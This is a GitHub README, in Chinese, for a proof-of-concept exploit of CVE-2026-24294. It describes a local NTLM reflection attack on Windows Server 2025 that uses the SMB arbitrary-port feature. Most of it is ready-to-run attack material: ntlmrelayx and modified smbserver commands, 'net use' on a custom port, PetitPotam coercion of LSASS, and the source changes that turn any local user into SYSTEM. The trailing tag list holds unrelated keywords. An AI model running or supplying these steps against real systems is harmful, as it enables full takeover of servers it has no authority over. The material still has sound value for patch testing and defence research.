0xNDI/CVE-2026-24294
GitHub: 0xNDI/CVE-2026-24294
利用 Windows Server 2025 SMB 任意端口特性与 NTLM 反射实现本地提权至 SYSTEM 的 PoC。
Stars: 2 | Forks: 0
# CVE-2026-24294 - 通过 SMB 任意端口实现本地 NTLM 反射本地权限提升 (LPE)
通过 NTLM 反射在 Windows Server 2025 上实现本地权限提升,滥用 Windows 11 24H2 / Server 2025 中引入的 SMB 任意端口功能。
## 漏洞详情
Windows 11 24H2 / Server 2025 引入了一项 SMB 客户端功能,允许在任意 TCP 端口上建立连接(`net use \\host\share /tcpport:PORT`)。结合 SMB 会话多路复用(MS-SMB2 第 3.2.4.2 节),这使得本地 NTLM 反射成为可能——低权限用户可以强制特权服务(LSASS)向攻击者控制的、运行在非标准端口上的 SMB 服务器进行身份验证,然后将捕获的 NTLM 认证信息中继回运行在 445 端口的真实 SMB 服务。
**影响**:任何本地用户均可提升至 `NT AUTHORITY\SYSTEM`。
**受影响版本**:Windows Server 2025(默认配置)。Windows 11 24H2 强制执行了 SMB 签名,阻止了此类中继攻击。
## 攻击流程
```
LSASS (SYSTEM) ──NTLM──► SMB Client ──TCP:12345──► smbserver.py (ours)
│
▼ relay NTLM blob
SMB Service (:445) ◄────────────────── ntlmrelayx.py
← SYSTEM session
```
1. `net use` 在自定义端口上打开到我们 SMB 服务器的 TCP 连接
2. PetitPotam 强制 LSASS 向 `\\127.0.0.1\share` 进行身份验证
3. SMB 客户端重用现有的 TCP 连接(会话多路复用)
4. 我们的 smbserver 捕获特权 NTLM 数据 blob,并通过 ntlmrelayx 进行中继
5. ntlmrelayx 以 SYSTEM 身份验证到运行在 445 端口的真实 SMB 服务
## 前置条件
- Windows Server 2025 目标主机
- Python 3 以及 [Impacket](https://github.com/fortra/impacket)
- PetitPotam.exe(使用 Visual Studio 从源码编译,参见 PetitPotam/ 目录)
## 使用说明
打开 3 个终端。
**终端 1** — 启动 ntlmrelayx(监听 RAW 端口 6666,中继至本地 SMB):
```
python ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666
```
**终端 2** — 启动修改过的 smbserver(监听端口 12345,将 NTLM 中继至端口 6666):
```
python smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666
```
**终端 3** — 运行漏洞利用程序:
```
:: Mount share on custom port (opens persistent TCP connection)
net use \\127.0.0.1\test /tcpport:12345 /user:user user
:: Coerce LSASS to authenticate to our SMB server
PetitPotam.exe 127.0.0.1 localhost 2
```
ntlmrelayx 中输出的 `whoami` 结果将显示为 `NT AUTHORITY\SYSTEM`。
## 组件
- **`PetitPotam/`** — 修改过的 PetitPotam 源码。与上游版本相比有两处更改:
- UUID:`df1941c5-fe89-4e79-bf10-463657acf44d`(WS2025 EFSRPC 接口)
- 命名管道:`\pipe\efsrpc`
- 使用 API #2(`EfsRpcEncryptFileSrv`),共享名称硬编码为 `test`
- **`smbserver.py`** — 添加了 `-relay-port` 标志的修改版 impacket smbserver。通过挂钩 SMB2 SESSION_SETUP,在多路复用连接上捕获第二次 NTLM 身份验证,并将其转发到 RAW 中继服务器(即 ntlmrelayx 的 `--raw-port`)。
## 致谢
本 PoC 大部分由 AI(GLM 5.1)根据以下研究与技术的描述编写:
- [绕过 Windows 身份验证反射缓解机制以获取系统 Shell](https://www.synacktiv.com/en/publications/bypassing-windows-authentication-reflection-mitigations-for-system-shells-part-1) — Guillaume André, Synacktiv
## 参考
- [CVE-2026-24294](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294) — Microsoft Security Response Center
- [PetitPotam](https://github.com/topotam/PetitPotam) — Gilles Lionel
- [Impacket](https://github.com/fortra/impacket) — Fortra
标签:CVE-2026-24294, Impacket, LSASS, ntlmrelayx, NTLM反射, PetitPotam, PoC, Python, SMB任意端口, SMB会话多路复用, Web报告查看器, Windows 11 24H2, Windows Server 2025, XXE攻击, 中继攻击, 客户端加密, 提权, 无后门, 暴力破解, 本地权限提升, 网络安全, 逆向工具, 隐私保护